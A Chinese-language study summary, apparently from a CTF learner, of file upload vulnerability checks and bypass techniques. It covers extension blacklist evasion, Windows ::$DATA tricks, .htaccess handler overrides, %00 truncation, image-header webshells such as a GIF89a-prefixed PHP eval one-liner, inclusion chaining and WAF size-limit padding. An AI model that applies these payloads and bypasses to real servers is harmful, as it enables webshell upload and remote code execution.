文件上传漏洞学的有点乱,本来会做的题,有时候就没想到,所以进行总结一下!
文件上传检查的一些方式
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
文件上传绕过的一些方式
- 客户端绕过(抓包改包)
- 服务端绕过
- 文件类型
- 文件头
- 文件后缀名
- 配合文件包含漏洞绕过
- 配合服务器解析漏洞绕过
- CMS、编辑器漏洞绕过
- 配合操作系统文件命名规则绕过
- 配合其他规则绕过
- WAF绕过
1.修改Content-Type: image/jpeg
2.php大小等写绕过(黑名单绕过)
一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件.
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
大小写绕过
phP,Php
还要注意文件名是否去空
如果没有进行去 . 操作
利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:
::$DATA
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名
3.当过滤所有可能被执行的后缀名
即过滤了php3,phtml等等。。。
如果可以上传 .htaccess文件
.htaccess的内容为
SetHandler application/x-httpd-php
这样所有的文件都被当做php文件执行,也可以指定某个文件当做php执行
.htaccess的内容为
<Files 1.gif>
ForceType application/x-httpd-php SetHandler application/x-httpd-php
</Files>
然后再上传图片马
文件名最后是进行拼接的,可以伪造文件名
$img_path = UPLOAD_PATH . '/' . $file_name;
文件后添加 . . 进行伪造
双写绕过
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = str_ireplace($deny_ext,"", $file_name);
这里是将问题后缀名替换为空
%00截断
基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
伪代码演示:
name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断
//最后以 help.asp 存入路径里
白名单判断,但是$img_path直接拼接
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
php版本必须小于5.3.4
打开php的配置文件php-ini,将magic_quotes_gpc设置为Off
如果save_path是通过post传进来的
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
在hex中将20改为00即可
上传图片马
当检测文件头的时候,利用图片马
常见的文件头
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
GIF89a<?php phpinfo(); ?>
GIF89a
<?php eval(@$_GET['a']); ?>
配合文件包含漏洞
如果可以上传php文件,,说明可能这是判断php文件内容是否为木马文件
上传一个txt文件内容是木马代码,如何再上传一个php文件去包含这个txt文件去绕过它
<?php Include(“上传的txt文件路径”);?>
上传不符合windows文件命名规则的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA…….
WAF绕过
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
条件竞争
服务器解析漏洞
参考:服务器解析漏洞
参考:文件上传漏洞